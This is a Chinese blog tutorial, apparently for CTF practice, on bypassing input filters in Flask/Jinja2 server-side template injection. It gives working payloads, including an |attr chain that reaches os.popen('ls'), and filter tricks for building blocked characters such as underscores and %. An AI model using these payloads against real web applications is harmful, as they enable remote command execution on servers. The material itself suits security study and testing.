前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Python SSTI利用jinja过滤器进行Bypass

Python SSTI利用jinja过滤器进行Bypass

作者头像
ph0ebus
发布2023-05-16 11:04:59
4740
发布2023-05-16 11:04:59
举报
  • 利用|attr()来Bypass

attr()是 jinja2 的原生函数,它是一个过滤器,只查找属性,获取并返回对象的属性的值。

过滤器与变量用管道符号( | )分割,并且也 可以用圆括号传递可选参数。

如:foo|attr("bar")foo["bar"]是等价的

如果过滤了 . [ ],就可以利用这个过滤器绕过

绕过姿势

代码语言:javascript
复制
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}

等价于

代码语言:javascript
复制
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen("ls").read()}}

如果还过滤了关键字,例如过滤了class,可以利用其进行字符拼接

如:{{''.__class__}}{{''|attr('__cla''ss__')}}是等价的

利用更多过滤器构造字符

在 Flask jinja 中,内置有很多过滤器可以使用。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器, 多个过滤器可以链式调用,前一个过滤器的输出会被作为 后一个过滤器的输入。所有内置过滤器参见官方文档

这个姿势核心就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串

下面给出一些常用过滤器利用姿势

过滤器 ()|select|string
代码语言:javascript
复制
{% set org = ({ }|select()|string()) %}{{org}}

这样得到的结果是<generator object select_or_reject at 0x十六进制地址值>

这里就出现了很多字符,那么就可以利用[]来提取出字符,例如

代码语言:javascript
复制
{% set org = ({ }|select()|string())[24] %}{{org}}

这里就获取到了下划线,以此类推我们还能获取到尖括号、空格、一些字母、数字

类似的还有如下姿势获取

代码语言:javascript
复制
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
{% set point = self|float|string|min %}{{point}}  # 通过float过滤器获取点 .

它们能获取很多字符,特别注意的是{% set org = self|string|urlencode %}{{org}}可以获取到百分号%

获取数字还有一些姿势

代码语言:javascript
复制
{% set num = (self|int) %}{{num}}    # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}}    # 24, 通过length过滤器获取数字

有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算

代码语言:javascript
复制
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{%set two = (one%2bone) %}
{%set three = (zero-one-one-one)|abs %}
{% set five = (two*two*two)-one-one-one %}{{five}}

特别注意加法运算的加号(+),语义冲突不能直接使用,需要url编码为%2b使用,或者使用abs过滤器进行取绝对值

过滤器 dict()|join

字符拼接

代码语言:javascript
复制
{% set org=dict(po=a,p=a)|join%}{{org}}   # pop

获取数字

代码语言:javascript
复制
{% set num = (dict(e=a)|join|count) %}{{num}}   # 1
{% set num = (dict(ee=a)|join|count) %}{{num}}   # 2
拼接%c构造任意字符
代码语言:javascript
复制
{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc=bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接

这里构造出了%c,这样就能通过ascill码构造出任意字符,如

代码语言:javascript
复制
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set xhx = bfhc%(95) %}{{xhx}}

这样就能构造出下划线了

例题 [GDOUCTF 2023]<ez_ze>


参考链接: 以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 | Marcus_Holloway SSTI进阶 | chenlvtang

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-04-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用更多过滤器构造字符
    • 过滤器 ()|select|string
      • 过滤器 dict()|join
        • 拼接%c构造任意字符
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档